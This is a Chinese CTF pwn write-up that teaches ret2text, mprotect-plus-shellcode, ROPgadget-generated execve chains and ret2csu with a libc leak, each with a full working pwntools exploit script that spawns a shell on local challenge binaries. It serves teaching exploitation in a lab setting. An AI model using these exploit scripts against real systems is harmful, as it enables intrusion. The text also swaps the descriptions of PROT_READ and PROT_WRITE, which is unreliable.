CTFpwn:ret2text,mprotece,shellcode,自动化rop链

Ret2text

一道常见的栈溢出,但有点新意

放入IDA中进行分析,很明显存在栈溢出,0x20+8=40,0x29=41,只能溢出一个字节,而p64打包为八字节

这个时候调整思路,pwndbg去查看main函数地址为0x401249

IDA中后门的地址为0x401209

也就是说我们只需覆盖一个字节(将49覆盖为09)即可

思路:通过栈溢出后覆盖最后一个字节

Exp:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
    gdb.attach(p)
    pause()
p.recvuntil("hello")  
pay=b'a'*(0x20+8)+b'\x09'
bug()
p.sendline(pay)
p.interactive()

mprotect之shellcode

mprotect 函数

mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:

#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

  • prot 的取值如下,通过 | 可以将几个属性结合使用(值相加):
    • PROT_READ:可写,值为 1
    • PROT_WRITE:可读, 值为 2
    • PROT_EXEC:可执行,值为 4
    • PROT_NONE:不允许访问,值为 0

需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

如果执行成功,函数返回 0;如果执行失败,函数返回 -1,并且通过 errno 变量表示具体原因。错误的原因主要有以下几个:

  • EACCES:该内存不能设置为相应权限。这是可能发生的,比如 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 修改为 PROT_WRITE。
  • EINVAL:start 不是一个有效指针,指向的不是某个内存页的开头。
  • ENOMEM:内核内部的结构体无法分配。
  • ENOMEM:进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。

当一个进程的内存访问行为违背了内存的保护属性,内核将发出 SIGSEGV(Segmentation fault,段错误)信号,并且终止该进程。

例题

checksec一下

放入IDA,进行分析,左侧许多函数,为静态编译,这样我们就有多种方法可以选择,首先用最经典的方法mprotect函数主函数发现gets(危险函数),存在栈溢出

左侧ctrl+f,搜索mprotect

之后tab键,空格得到mprotect的地址0x4353E0

更改权限后我们还需要read函数来读入shellcode,相同的方法得到read函数地址0x434860

还缺少bss(读入的地方),ctrl+s搜索bss=0x6C1C40

(这里注意:要将bss段地址后三位修改为0,方便我们获取更多的内存以读入shellcode)

这些准备好后,我们还需要传参所用的寄存器,rdi,rsi,rdx,寄存器的相关知识可以参考这篇文章

ROPgadget,可以借用这个工具去寻找寄存器的位置

这样一切都准备好了

Exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",26023)
p=process("./pwn3")
elf=ELF("./pwn3")
def bug():
    gdb.attach(p)
    pause()
mprotect=0x4353E0
bss=0x6C1C40
rdi=0x00000000004016c3
rsi=0x00000000004017d7
rdx=0x00000000004377d5
read=0x434860
p.recvuntil("where is my system_x64?")
pay=b'a'*(0x50+8)+p64(rdi)+p64(0x6C1000)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x100)+p64(read)+p64(bss)
#bug()
p.sendline(pay)
pause()
shellcode=asm(shellcraft.sh())
bug()
p.sendline(shellcode)
p.interactive()   

第二种解法:自动化ROP链(体验一把梭哈的快感)

栈溢出,自己找rop链,最简单的方法,让ROPgadget帮我们弄好呀,可是有点长,所有需要我们修改。

终端命令:(pwn3为文件名)

ROPgadget --binary pwn3 --ropchain

有点长,但很方便(!!!!)

exp:

from pwn import *
from struct import pack
context(os='linux',arch='amd64',log_level='debug')
io=process("./pwn3")

def bug():
   gdb.attach(io)
   pause()
io.recvuntil("where is my system_x64?")
p = b'a'*(0x50+8)

p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0060) # @ .data
p += pack('<Q', 0x000000000046b9f8) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004016c3) # pop rdi ; ret
p += pack('<Q', 0x00000000006c0060) # @ .data
p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x00000000004377d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000400488) # syscall
bug()
io.sendline(p)
io.interactive() 

 注意,需要引入pack库

from struct import pack

而且rop链需要我们自己构造栈溢出

自动化rop链是很简单,但也具有局限性,否则直接一把梭哈出题人怎么出嘞:

要求:

1.静态编译

2.gets或者read函数并且该read函数能溢出大量字节

ret2csu

当在x64环境下函数的参数传递凑不齐类似“pop rdi;ret”/“pop rsi;ret”/“pop rdx;ret”等3个传参的gadgets时,就可以考虑使用_libc_csu_init函数的通用gatgets。

x64 下的 __libc_csu_init 这个函数是用来对 libc 进行初始化操作的,而一般的程序用 libc 函数,所以这个函数一定会存在。 (不同版本的这个函数有一定的区别)
简单来说就是利用libc_csu_init中的两段代码片段来实现3个参数的传递(间接性的传递参数)

这需要大家了解一下一些汇编指令才能了解,可以参考ret2csu这篇文章

例题:

开启NX,64位,IDA分析:

可以看到,这题不是静态编译,因为左边函数就那么点

分析代码可知:存在gets函数,可以栈溢出,下面还有一个判断语句,用strlen函数判断s的长度,如果s的长度大于0x10个字节就退出程序

知识点:

strlen函数虽然是判断变量长度的,但是会遇00截断,就是当strlen函数识别到00时就不继续往下识别了,其实许多打印函数也是这样,例如printf,puts,write,它们都会遇00截断。

我们可以发现这个程序只有一个溢出点,并没有后门system("/bin/sh"),于是我想到了用Ret2libc的方法做,可以看到左边的函数栏是存在打印函数write的,我们可以利用这个打印函数来泄露libc基址

但是我们找一下gadget可以发现并没有rdx寄存器,这就让我们想到了Ret2csu

查看一下__libc_csu_init的汇编代码

分析代码:

    .text:0000000000401310                               loc_401310:                   ; CODE XREF: __libc_csu_init+54↓j
    .text:0000000000401310 4C 89 F2                      mov     rdx, r14     #将r14中的值赋值给rdx
    .text:0000000000401313 4C 89 EE                      mov     rsi, r13     #将r13中的值赋值给rsi
    .text:0000000000401316 44 89 E7                      mov     edi, r12d    #将r12中的值赋值给edi(edi为rdi的后四位)
    .text:0000000000401319 41 FF 14 DF                   call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]       #调用r15+rbx*8里面存的值的地址
     
    .text:0000000000401319
    .text:000000000040131D 48 83 C3 01                   add     rbx, 1    #将rbx里的值+1
    .text:0000000000401321 48 39 DD                      cmp     rbp, rbx    
    .text:0000000000401324 75 EA                         jnz     short loc_401310     #对比rbp里的值与rbx里的值,如果相同就继续运行程序,如果不同就返回0x401310
    .text:0000000000401324
    .text:0000000000401326
    .text:0000000000401326                               loc_401326:                   ; CODE XREF: __libc_csu_init+35↑j
    .text:0000000000401326 48 83 C4 08                   add     rsp, 8    #将rsp里的值+8
    .text:000000000040132A 5B                            pop     rbx    #将栈顶的数据弹到rbx里
    .text:000000000040132B 5D                            pop     rbp    #将栈顶的数据弹到rbp里
    .text:000000000040132C 41 5C                         pop     r12    #将栈顶的数据弹到r12里
    .text:000000000040132E 41 5D                         pop     r13    #将栈顶的数据弹到r13里
    .text:0000000000401330 41 5E                         pop     r14    #将栈顶的数据弹到r14里
    .text:0000000000401332 41 5F                         pop     r15    #将栈顶的数据弹到r15里
    .text:0000000000401334 C3                            retn           #返回

思路如下:

先将栈溢出的返回地址填成0x40132A,将需要的数据依次填入栈顶,依次弹入寄存器中,随后在执行到0x401334,retn返回的时候将返回地址填成0x401310,这样,我们就可以控制edi,rsi,rdx里的值,并调用write函数泄露基址。

exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p=process("./pwn4")
elf=ELF("./pwn4")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6" )
def bug():
    gdb.attach(p)
    pause()
vuln=0x4011FD  
rdi=0x0000000000401333  
p.recvuntil("This challenge no backdoor!")
payload=b'\x00'*(0x10+8)+p64(0x40132A)+p64(0)+p64(1)+p64(1)+p64(elf.got['write'])+p64(6)+p64(elf.got['write'])+p64(0x401310)+p64(0)*7+p64(vuln)
bug()
p.sendline(payload)
write_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()

p.recvuntil("This challenge no backdoor!")
pay=b'\x00'*(0x10+8)+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
p.sendline(pay)
p.interactive()

       打本地                   
                        

  • 17
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值